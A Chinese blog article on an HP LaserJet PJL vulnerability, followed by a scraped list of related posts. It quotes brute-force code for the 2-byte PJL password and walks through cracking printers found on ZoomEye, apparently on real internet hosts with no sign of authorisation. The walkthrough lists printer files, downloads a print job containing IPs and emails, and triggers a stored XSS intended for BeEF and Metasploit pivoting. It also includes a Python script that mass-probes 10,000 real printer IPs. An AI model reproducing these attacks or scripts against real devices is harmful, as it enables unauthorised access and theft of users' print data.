0x01 漏洞概要

PCL代表打印机控制语言(Printer Control Language),由惠普公司开发,并被广泛使用的一种打印机协议。关于另一种页面描述语言,应该提一提由Adobe设计的PostScript(PS),它可以将更为复杂的事情交由绘图仪/打印机处理。PJL (Printer Job Language,打印机作业语言)作为PCL的扩展,用于指导打印机行为,比如更改设备设置、传输文件等。 若打印机的9100端口向公网开启,在向打印机发送PJL指令之前需要对使用者的身份进行认证,认证程序的密钥长度为2字节(Byte),因此可以通过暴力破解认证密钥想打印机发送PJL指令,最终导致任意命令的执行。

PJL (Printer Job Language)程序用于告诉打印机执行什么动作,是对PCL的额外支持。 PJL (Printer Job Language) 用于规范格式化页面的基本语言。本身是无害的,但却成为大多数解析器和解释器的漏洞利用代码。

0x02 漏洞原理

打印机系统9100端口开启时,若连上该端口通过PJL指令发送设备名称请求并得到打印机的响应,说明可以未授权访问打印机,PJL保护机制的密钥由2个字节(16比特)的存储单位存储,可以进行暴力破解攻击,从而得到目标打印机的完全访问权限。

根据国外安全研究员PHENOELIT 已经写好了漏洞利用程序,对其中的主要代码进行分析,得到下面的流程图

下面是破解密钥部分的代码:

  • 在pjlsession.cpp中的230到256行
  1. void PJLsession::blind_disable_pjl_password(unsigned int pass) {
  2. String ts;
  3. char numb[50];
  4. if ((pass==0)||(pass>65535)) throw ExInvalid();#ifndef UNIX
  5. _snprintf(numb,49,"%u",pass);#else
  6. snprintf(numb,49,"%u",pass);#endif //UNIX
  7. connection.clear();
  8. connection.sendbuf.set(PJL_START);
  9. connection.sendbuf.append("\r\n");
  10. connection.sendbuf.append("@PJL JOB PASSWORD=");
  11. connection.sendbuf.append(numb);
  12. connection.sendbuf.append("\r\n@PJL DEFAULT PASSWORD=0 \r\n");
  13. connection.sendbuf.append("@PJL EOJ\r\n");
  14. connection.sendbuf.append(PJL_FINISH);
  15. connection.senddata();
  16. // TEST !!!
  17. // connection.recvatleast(9,ctimeout);
  18. // end TEST
  19. connection.sendbuf.clear();
  20. }

因为打印机所使用的密码长度只有2个字节,即16个bit, 65535中表示方法,所以密码范围在0到65535之间,这就是为什么程序能暴力破解打印机认证密码。

connection.sendbuf.set()后面根据PJL协议发送指定的数据包。使攻击者在破解密码之后可以用里面的命令进行任意操作了。

0x03 案例分析

首先获取可能存在漏洞的打印机IP地址,打开www.zoomeye.org,输入漏洞关键字 HP LaserJet 进行搜索。搜索结果如下:

从结果中可以看到一些带有 HP LaserJet 标签的互联网主机和所属国家信息,这些主机就很有可能隐藏着打印机漏洞。我们从中选取一些进行测试。

Nmap端口扫描

Nmap的扫描结果显示主机不但开启了9100端口,80,443,23端口也开着,入侵也就多了一些其他的方式。

我们使用 PHENOELIT 开发的PFT工具来进行渗透测试。这个用C++写成的黑客工具有简单的命令行交互界面,专门用来破解PLJ接口的打印机,获取打印机的环境变量、文件系统和重要目标文件。

PFT密码破解

我们运行PFT工具,用 help 命令查看帮助文档

可以用PFT提供的暴力破解功能清除掉打印机的 PJL 程序保护。

显示密码清除成功,使用 ls 命令查看打印机上硬盘里的文件:

在这里可以查看打印机硬盘中存放的所有东西。如果打印机缓存了打印文件,在这里也是可以找到的。我们可以进入一个目录选择一个文件下载到本地:

查看L006105.XML文件的内容:

在这里可以查看到一些诸如本次打印的任务主机IP,邮箱,打印的文件名等敏感信息。

XSS攻击

存在于惠普打印机中风险的仅仅是拒绝服务,信息泄漏这么简单吗?在 Exploit-DB网站 中找到 HPLaserJet printers - Multiple Stored XSS Vulnerabilities(点击连接) 惠普打印机的多个存储型 XSS 漏洞, 对应 CVE 号: CVE-2012-3272 没给出利用方式,试着打开浏览器Fuzz了出来: 点击WEB的“支持信息”连接

点击 Apply 按钮,出现了 XSS 弹框:

利用该漏洞,配合 Beef 攻击框架,通过一段编写好的 JavaScript(hook.js)控制目标主机的浏览器,通过目标主机浏览器获得该主机的详细信息,并进一步扫描内网,配合 Metasploit 绝对是内网渗透一大杀器。

0x04 全球漏洞分布

自动测试脚本

HP打印机的厂商已经对固件进行了升级,采用更安全的加密机制处理PJL密钥,不过由于全球范围用户基数比较大,已经用户安全意识不强,依然大量存在这种受害打印机,由ZoomEye网络空间搜索引擎导出的数据接合我们小组写的自动化扫描脚本。

  1. #!/usr/bin/env python
  2. # -*- coding: UTF-8 -*-
  3.  
  4. import socket
  5. import json
  6. import sys
  7. from optparse import OptionParser
  8.  
  9. PJL_START = "\033%-12345X@PJL "
  10. PJL_FINISH = "\033%-12345X\r\n"
  11. PJL_USTATUS = "USTATUS DEVICE="
  12. PJL_INFO_ID = "INFO ID\r\n"
  13.  
  14. EOF = PJL_START + PJL_USTATUS + "OFF\r\n" + PJL_FINISH #PJL 语言
  15. DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH #PJL 语言 获取设备型号
  16.  
  17. class Printer():
  18. def __init__(self):
  19. self.usage()
  20. if sys.argv < 1 :
  21. self.usage()
  22. self.readfile(options.file)
  23.  
  24. def usage(self):
  25. parser = OptionParser()
  26. parser.add_option("-i", "--ip", dest="ip",
  27. help="test single ip") #
  28. parser.add_option("-f", "--file",dest="file",
  29. help="files ") #
  30. global options
  31. (options, args) = parser.parse_args()
  32.  
  33. def Buildsocket(self, ip, port=9100):
  34. sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0) #与主机建立socket连接
  35. sock.settimeout(5)
  36. try:
  37. sock.connect((ip, port))
  38. except:
  39. print "[!*]-ip-%s-can't connect--" % ip
  40. return 'error'
  41. sock.send(EOF)
  42. sock.send(DEVICEID) # 发送PJL指令给远程打印机
  43. try:
  44. device = sock.recv(1024)
  45. except:
  46. return 'No'
  47. print "[!*]-ip-%s-is-ok\r\ndeviceidis-%s" % (str(ip), device)
  48. sock.close()
  49. return 'OK'
  50.  
  51. def GetDiviceMap(self, data,status):
  52. f = open('result.txt', 'a+')
  53. try:
  54. f.write(str(data['ip']) + ', ' + status + ', ' + str(data['geoinfo']['country']['name']['en'])
  55. +', '+ str(data['geoinfo']['city']['en']) + ', ' + str(data['geoinfo']['location']['longitude'])
  56. +', '+ str(data['geoinfo']['location']['latitude']) + ', ' + str(data['geoinfo']['country']['code'])
  57. +', ' + str(data['geoinfo']['continent']['name']['en']) + "\r\n")
  58. except:
  59. pass
  60. f.close()
  61.  
  62. def readfile(self, file):
  63. Vuln_ip = 0 # ip 列表输入的IP数量
  64. No_vuln_ip = 0
  65. CantConnectIP = 0
  66. linenum = 0
  67. f = open(file, 'r')
  68. for line in f.readlines():
  69. data = json.loads(line)
  70. status = self.Buildsocket(data['ip'])
  71. if status == 'error':
  72. CantConnectIP += 1
  73. elif status == 'No':
  74. No_vuln_ip += 1
  75. else:
  76. Vuln_ip += 1
  77. self.GetDiviceMap(data, status)
  78. linenum += 1
  79. print "[!*]-Now-is-%s-lines" % str(linenum)
  80. f.close()
  81. print str(CantConnectIP) + " " + str(No_vuln_ip) + " " + str(Vuln_ip)
  82.  
  83. if __name__ == '__main__':
  84. Printer()

  

全球影响面

这个漏洞波及了很多国家和地区,以美国最盛。我们用小组开发的自动化脚本加上ZoomEye提供的1万组惠普打印机IP进行测试。 结果绘制成图表如下。

  • 全球可入侵IP分布

  • 全球已修复IP分布

可以看到,美国是 PCL 打印机漏洞的重灾区,至今还拥有数量最多的漏洞主机。韩国也受到了很大的影响。其他国家,包括中国,有漏洞的打印机数量都不多,而且一半以上已被修复。

0x05 修补建议

对打印机管理员有以下建议:

  • 不使用的服务,如 FTP ,TELNET 服务,应手动关闭。
  • 直接关闭 9100 端口,不允许外网访问。
  • 不要使用公网 IP 作为打印机地址。
  • 关注产品动态,保证及时更新。

0x06 结论

像打印机,摄像头这种联网类型的设备,目前大家对这方面的安全意识需要进一步加强,最好把设备控制在内网使用。如果需要提供到外网接口,一定要采取一定的安全措施,默认的安全口令也需要修改。增加攻击人员的成本从而使得设备更加安全。

本文由 我和另外两个小伙伴 fengxuan zhufengdaaa 完成

原文首发于:http://zhufengdaaa.github.io

参考网址:

https://www.altamiracorp.com/blog/employee-posts/hacking-hp-printers-for-fun-profit

https://en.wikipedia.org/wiki/Printer_Job_Language

http://www.51cto.com/art/200508/7989.htm

https://www.exploit-db.com/exploits/10011/

http://www.freebuf.com/articles/system/7115.html

打印机PCL漏洞原理分析的更多相关文章

  1. Heartbleed心脏出血漏洞原理分析

    Heartbleed心脏出血漏洞原理分析 2017年01月14日 18:14:25 阅读数:2718 1. 概述    OpenSSL在实现TLS和DTLS的心跳处理逻辑时,存在编码缺陷.OpenSS ...

  2. CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc

    1.libupnp问题分析: (1)问题简述: 根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863. (2)漏洞原理分析: 该漏洞发生在up ...

  3. Spring4Shell的漏洞原理分析

    Spring框架最新的PoC 这两天出来的一个RCE漏洞,但是有以下的条件限制才行: 必须是jdk9及以上 必须是部署在tomcat的应用 是springmvc的或者webflux的应用 具体的可以查 ...

  4. 【漏洞复现】CVE-2022–21661 WordPress核心框架WP_Query SQL注入漏洞原理分析与复现

    影响版本 wordpress < 5.8.3 分析 参考:https://blog.csdn.net/qq_46717339/article/details/122431779 在 5.8.3 ...

  5. Xss漏洞原理分析及简单的讲解

    感觉百度百科 针对XSS的讲解,挺不错的,转载一下~   XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XS ...

  6. 【Android漏洞复现】StrandHogg漏洞复现及原理分析_Android系统上的维京海盗

    文章作者MG1937 CNBLOG博客:ALDYS4 QQ:3496925334 0x00 StrandHogg漏洞详情 StrandHogg漏洞 CVE编号:暂无 [漏洞危害] 近日,Android ...

  7. CVE-2014-0038内核漏洞原理与本地提权利用代码实现分析 作者:seteuid0

    关键字:CVE-2014-0038,内核漏洞,POC,利用代码,本地提权,提权,exploit,cve analysis, privilege escalation, cve, kernel vuln ...

  8. [web安全原理分析]-SSRF漏洞入门

    SSRF漏洞 SSRF漏洞 SSRF意为服务端请求伪造(Server-Side Request Forge).攻击者利用SSRF漏洞通过服务器发起伪造请求,就这样可以访问内网的数据,进行内网信息探测或 ...

  9. [web安全原理分析]-XEE漏洞入门

    前言 1 前言 XXE漏洞 XXE漏洞全称(XML External Entity Injection)即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致 ...

随机推荐

  1. kubernetes kubeadm部署高可用集群

    k8s kubeadm部署高可用集群 kubeadm是官方推出的部署工具,旨在降低kubernetes使用门槛与提高集群部署的便捷性. 同时越来越多的官方文档,围绕kubernetes容器化部署为环境 ...

  2. iOS中UITableView的cell点击事件不触发didSelectRowAtIndexPath(汇总)

    iOS中UITableView的cell点击事件不触发didSelectRowAtIndexPath 首先分析有几种原因,以及相应的解决方法 1.UITableViewCell的userInterac ...

  3. 【JS跨域请求】Ajax跨域请求JSONP

    前两天被问到ajax跨域如何解决,还真被问住了,光知道有个什么jsonp,迷迷糊糊的没有说上来.抱着有问题必须解决的态度,我看了许多资料,原来如此... 为何一直知道jsonp,但一直迷迷糊糊的不明白 ...

  4. JAVAEE filter总结

    1.  为什么需要filter? filter相当于客户端和服务器端之间的一扇门,就像保安一样.作用:比如说设置字符集和权限控制等等. 2.  细节; * . 只能对post请求起作用 *  .可以使 ...

  5. provider: 命名管道提供, error: 40 - 无法打开 SQL Server 联系)

    李和server连接错误. 在连接 SQL Server 2005 时刻.在默认设置 SQL Server 不同意的远程连接可能导致此故障. (provider: 命名管道提供, error: 40 ...

  6. POJ2250:Compromise(LCS)

    Description In a few months the European Currency Union will become a reality. However, to join the ...

  7. hook研究结果备忘

    hook研究结果: 最近一周时间仔细研究了一下hook,也许不能称之为研究吧.顶多是让别人的思想拿过来抄袭一遍而已,写点结果也算对得起自己的这几天的苦心了. 1,首先从同事旁边听到了hook,然后看的 ...

  8. Effective C++ 总结(二)

    四.设计与声明          条款18:让接口容易被正确使用,不易被误用      理想上,如果客户企图使用某个接口而却没有获得他所预期的行为,这个代码不该通过编译:如果代码通过了编译,它的行为就 ...

  9. iOS 下的相册与图片处理

    需求 很多公司项目中都会使用到相册,以及相机,保存图片,从相册中选取图片等等操作.本文将详细介绍该功能如何实现优化,以及使用一些优秀的第三方库来辅助完成我们的需求. photos framework ...

  10. ASP.NET-FineUI开发实践-11

    我用实例项目写了个子父页面传值,算是比较灵活的写法,可以把js提取出来写成包,然后调用,我先一步一步写,为有困难的朋友打个样. 先画个页面: 上面是个查询用的表单,底下是表格,内存分页,用到了VBox ...